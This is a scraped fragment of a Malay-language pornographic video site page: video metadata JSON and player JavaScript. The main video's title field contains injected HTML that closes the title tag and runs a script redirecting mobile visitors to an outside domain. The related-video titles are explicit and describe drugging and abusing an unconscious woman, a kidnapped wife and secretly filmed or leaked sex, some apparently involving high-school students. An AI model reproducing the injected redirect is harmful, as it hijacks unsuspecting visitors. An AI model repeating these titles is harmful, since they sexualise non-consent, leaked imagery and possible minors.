</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Teman wanita nakal yang terikat dan berdisiplin serta sahabat baiknya</script>
Teman wanita nakal yang terikat dan berdisiplin serta sahabat baiknya","site_id":0,"video_url":"https://2605.v155p.com/20260706/eJtOtq9y/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMjg3YjkwZTRjMTViZDgyODZkMDNkZmJlZWQ5OTUyNjkuanBn.cache","duration":"50:41","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":163,"description":"Perhambaan dan BDSM dengan teman wanita slutty saya dan rakan baiknya","tag":["perhambaan","Perhambaan dan Penguasaan","Latihan","perempuan jalang","teman wanita yang nakal","Teman wanita","kawan baik"],"site_url":"179632","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMjg3YjkwZTRjMTViZDgyODZkMDNkZmJlZWQ5OTUyNjkuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"捆绑调教骚逼女友和她的闺蜜","s_keywords":"捆绑调教骚逼女友和她的闺蜜","s_description":"Teman wanita nakal yang terikat dan berdisiplin serta sahabat baiknya","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjVkZTEzNzM0NjE4NWZjZGRlZDQ2ZTZiMjBjYzhiYWQuanBn.cache","vod_id":19135836,"title":"Menggunakan afrodisiak untuk membuatkan seorang jelita berambut perang kecil molek yang tinggal di rumah yang penuh sampah hilang kesedaran, kemudian mendera dan melatihnya. (Kitano Mai, FSBK-015)","lastmod":"2025-12-29","duration":"02:05:05","url":"/play/19135836.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmEwNDdiZDcwNTNhODI0MjlkODg0ODFmYzVhMDUyZjkuanBn.cache","vod_id":18958624,"title":"\"Rahsia Bocoran Wanita Berbeza Muktamad\" Pramugari syarikat penerbangan tertentu yang bernilai tinggi dan materialistik tidak sihat dan dirakam secara rahsia. Di dalam pesawat, dia seorang dewi yang berkualiti tinggi, lembut dan elegan, tetapi secara peribadi, dia menjadi wanita jalang sugar daddynya tanpa sebarang keuntungan dan pelbagai bentuk latihan (49).","lastmod":"2025-12-14","duration":"00:02:14","url":"/play/18958624.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTgvMjY4YjhiODk3MTQ0ZDhmMzhiZTJlY2ZjYTIxZGNiOGEuanBn.cache","vod_id":19029648,"title":"teman wanita muda","lastmod":"2025-04-18","duration":"09:50","url":"/play/19029648.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTZkZGJkZDIwYzM0ZjQyZTA5ZWE4ZjU1NWViZjlkMGIuanBn.cache","vod_id":18996277,"title":"[Teman wanita berambut panjang yang elegan dalam stoking hitam] Seks oral dengan abang montel, masuk belakang di atas sofa, ejakulasi mubaligh","lastmod":"2025-12-14","duration":"53:53","url":"/play/18996277.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzViMDYyMThiODBjYmQxMTI0ZDk5NDBiZmY5MzY4NjMuanBn.cache","vod_id":18993297,"title":"[FH Creek dan sahabat baiknya melakukan sesi seks 3P] Seks tanpa perlindungan dan ejakulasi di dalam adalah perkara biasa.","lastmod":"2025-03-23","duration":"48:02","url":"/play/18993297.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDAwMGExM2QyNTc1MDkyOWE5ZmU2MmUwMGZiZGVjZWQuanBn.cache","vod_id":18951986,"title":"Seorang wanita matang yang menawan - seorang wanita yang terluka oleh cinta - bercerai dengan seorang anak, menggoda pelayan di KTV, nyata dan semula jadi, dengan susuk tubuh yang membuat sesiapa sahaja jatuh ke dalam pelukan perempuan jalang ini!","lastmod":"2025-12-14","duration":"01:43:54","url":"/play/18951986.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvNDNmOTU0NzkzYTk1MGIxN2NkYjEwYWViODhkN2FiMTIuanBn.cache","vod_id":19055199,"title":"Teman wanita dengan payudara besar, ejakulasi dalaman, godaan OK, Hanazuki Kanon, PPPE268","lastmod":"2025-09-29","duration":"01:55:21","url":"/play/19055199.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWU1NWM5ZjhhYjJlMmM1MDRhZGU5MmQzNjdiNjc5ZGUuanBn.cache","vod_id":18963244,"title":"91 Tuan Pelacur Mewah \"Encik Kucing\" ❤️ Mendisiplinkan Ahli Jawatankuasa Sukan Sekolah Menengah Swasta di Hangzhou, Payudaranya Merah Semua Akibat Ditangkap.","lastmod":"2025-12-14","duration":"00:25:19","url":"/play/18963244.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTBlZGI3MDhjMDg0YjM2NGE1ODIwMDdmOTUwY2FiZjUuanBn.cache","vod_id":18975535,"title":"Mempunyai teman lelaki yang teruk menyukarkan untuk tidak dipermainkan dan dirosakkan. Di bilik tidur, kami melakukan 69 kali, menjilat bersama, dan selepas dilatih dengan muntah, dia menyetubuhi faraj saya yang mentah hampir berkecai.","lastmod":"2025-12-14","duration":"01:20:09","url":"/play/18975535.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNThmY2VhYzUwYzVjNTM1MDgzZTNlOGY4NWQ1NDUwMzMuanBn.cache","vod_id":19165316,"title":"Koleksi Seks Oral Teman Wanita Cina Ditembak di Muka","lastmod":"2026-07-11","duration":"21:28","url":"/play/19165316.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzk3ZWY2YjQyNjdiYjhkMjFjZjE5ZmQxMzhiZDNkZGQuanBn.cache","vod_id":18927483,"title":"Puisi × Teman Wanita 2 - ShiikuxKanojo2","lastmod":"2025-12-14","duration":"00:14:27","url":"/play/18927483.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDgvNWNiNGJiNmE1NTVmNWE5NDc2MjQ3ZmViNDEyOTliYzEuanBn.cache","vod_id":19041992,"title":"Melatih seekor anjing betina berusia 95 tahun dalam sesi seks 3P yang melibatkan pengapit puting, penembusan depan dan belakang, dan tercekik sehingga orgasme.","lastmod":"2025-07-07","duration":"36:25","url":"/play/19041992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjE0ZjYzYzM3NWZmOGYxZjIwZWQ4Zjg1NmY2YTk3OTcuanBn.cache","vod_id":18949194,"title":"Si cantik bermata besar: Ahhh~ Abang, mari setubuhi puki kecil saya yang nakal ini, abang, mari saya tunjukkan puki saya, saya akan mengalami orgasme kelentit, saya kencing berdiri, dan darah haid saya mengalir keluar, hebat!","lastmod":"2025-03-22","duration":"01:18:08","url":"/play/18949194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWE1Nzc4MTA3MmQ1M2RlZGRmMjY5OGZjZjAyOTJmMzIuanBn.cache","vod_id":18956912,"title":"\"Kebocoran Mengejutkan\" - Sesi penggambaran peribadi isteri Peach yang berkulit cerah dan seksi yang diculik, Musim 2 menjemput seorang lelaki bujang yang berpengaruh untuk sesi latihan 3P dengan automasi penuh dan kontras yang ketara (9)","lastmod":"2025-12-14","duration":"00:03:02","url":"/play/18956912.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWUwNGM5ODQ4MmRmOWE1ZjNlMDEyM2UyZGY3OTljYWMuanBn.cache","vod_id":18949765,"title":"[Sarikata Cina] XVSR-249 Latihan Orgasme Pertama - Fuck to Pleasure - oleh Xiaoyao","lastmod":"2025-12-14","duration":"02:03:59","url":"/play/18949765.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhjYjEyMDZlNjcwZmRhODc1YjM0ODM5ZTMxYjhlZTkuanBn.cache","vod_id":18954468,"title":"Pendedahan di kemuncaknya! Gambar peribadi kulit selebriti internet yang mendedahkan badan dan wajah kelas S Twitter ▲ Pelbagai pendedahan awam, latihan seks 3P dan BDSM tanpa penapisan fail asal (18)","lastmod":"2025-12-14","duration":"00:00:56","url":"/play/18954468.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTlhZTQzYTViYjdkM2MzOWU3MmE0NWY5ODQwYzk4YjkuanBn.cache","vod_id":19022496,"title":"[Ulasan AV] Penyeksaan Tanpa Orang Cacat: Siri Penguasaan Berkualiti Tinggi.","lastmod":"2025-03-24","duration":"07:07","url":"/play/19022496.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2Y2OGY3M2M1OTdhYjk1NGE4NTI5YWY3NjNjNjUzYTcuanBn.cache","vod_id":19161658,"title":"Pada waktu tengah hari, teman wanita saya, yang kecewa secara seksual, menanggalkan pakaian, menurunkan seluar teman lelakinya, dan mula melancap, ingin melakukan hubungan seks_","lastmod":"2026-07-11","duration":"01:15:54","url":"/play/19161658.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvY2YzNDc5NzAyYTAzY2RjZmM5NDYxMWZlYTNhZjdhZTkuanBn.cache","vod_id":19161954,"title":"Hcup Tetapi masih berkembang! Adik perempuan teman wanita saya, Mao Horita, walaupun masih memakai seluar kapas, menggoda saya dengan seluar dalamnya. Mao Horita MOODYZ","lastmod":"2026-07-11","duration":"01:58:11","url":"/play/19161954.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTZmNDY2ZmFjNjk3ZTM1ZWJjMDE5NjIzNjFkMWJjMWUuanBn.cache","vod_id":18966057,"title":"Gambar swafoto pasangan sekolah menengah bocor~ Teman wanita seorang junior~ Berair dan berbulu~ Sangat seksi~ Percutian akan datang tidak lama lagi~ Dia mengajak saya bercinta dengannya~ Tiada masa untuk menanggalkan pakaian dan seluarnya, jadi kami hanya membukanya dan mula bercinta!","lastmod":"2025-03-22","duration":"00:06:24","url":"/play/18966057.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTMvZTllNWM4ODY3OWViODBlYjUyZGNhZmRiZGE4YzNhZTguanBn.cache","vod_id":19057577,"title":"Ibu teman wanita saya ternampak kami melakukan hubungan seks.","lastmod":"2025-10-12","duration":"41:58","url":"/play/19057577.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODc5Njc3MjcxMTNmMzM0YWE5YmU5MmY0ZjMwNWRkOWEuanBn.cache","vod_id":19005908,"title":"[HD Cina] Teman wanita saya pergi melancong bersama keluarga selama tiga hari, meninggalkan rumah kosong. Rekod seks tiga hari dengan rakan-rakan teman wanita saya.","lastmod":"2025-03-24","duration":"02:02:17","url":"/play/19005908.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjk0OGZjZWIyOThlMzk1YWY1MTJlY2MyNGIyZDdjNWQuanBn.cache","vod_id":19166993,"title":"Pelakon AV masokistik, Ayaka Mochizuki, rekod latihan. (Mochizuki Ayaka Tite)","lastmod":"2026-07-11","duration":"02:27:15","url":"/play/19166993.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2RkYjVkYzNlMzMyMmMxMGJjNzJkZjNhZjVmM2RlNDAuanBn.cache","vod_id":18964982,"title":"\"Kejutan Luar Biasa ✅ Bocor\" Isteri lucah dan nakal tuan latihan terkini [Yu Xuan] jalang merakam pelbagai aksi seks Bahagian 2 ~ pelebaran penyisipan objek asing 3P seks dubur pelbagai operasi ekstrem (14)","lastmod":"2025-03-22","duration":"00:02:10","url":"/play/18964982.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Teman wanita nakal yang terikat dan berdisiplin serta sahabat baiknya</script>',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}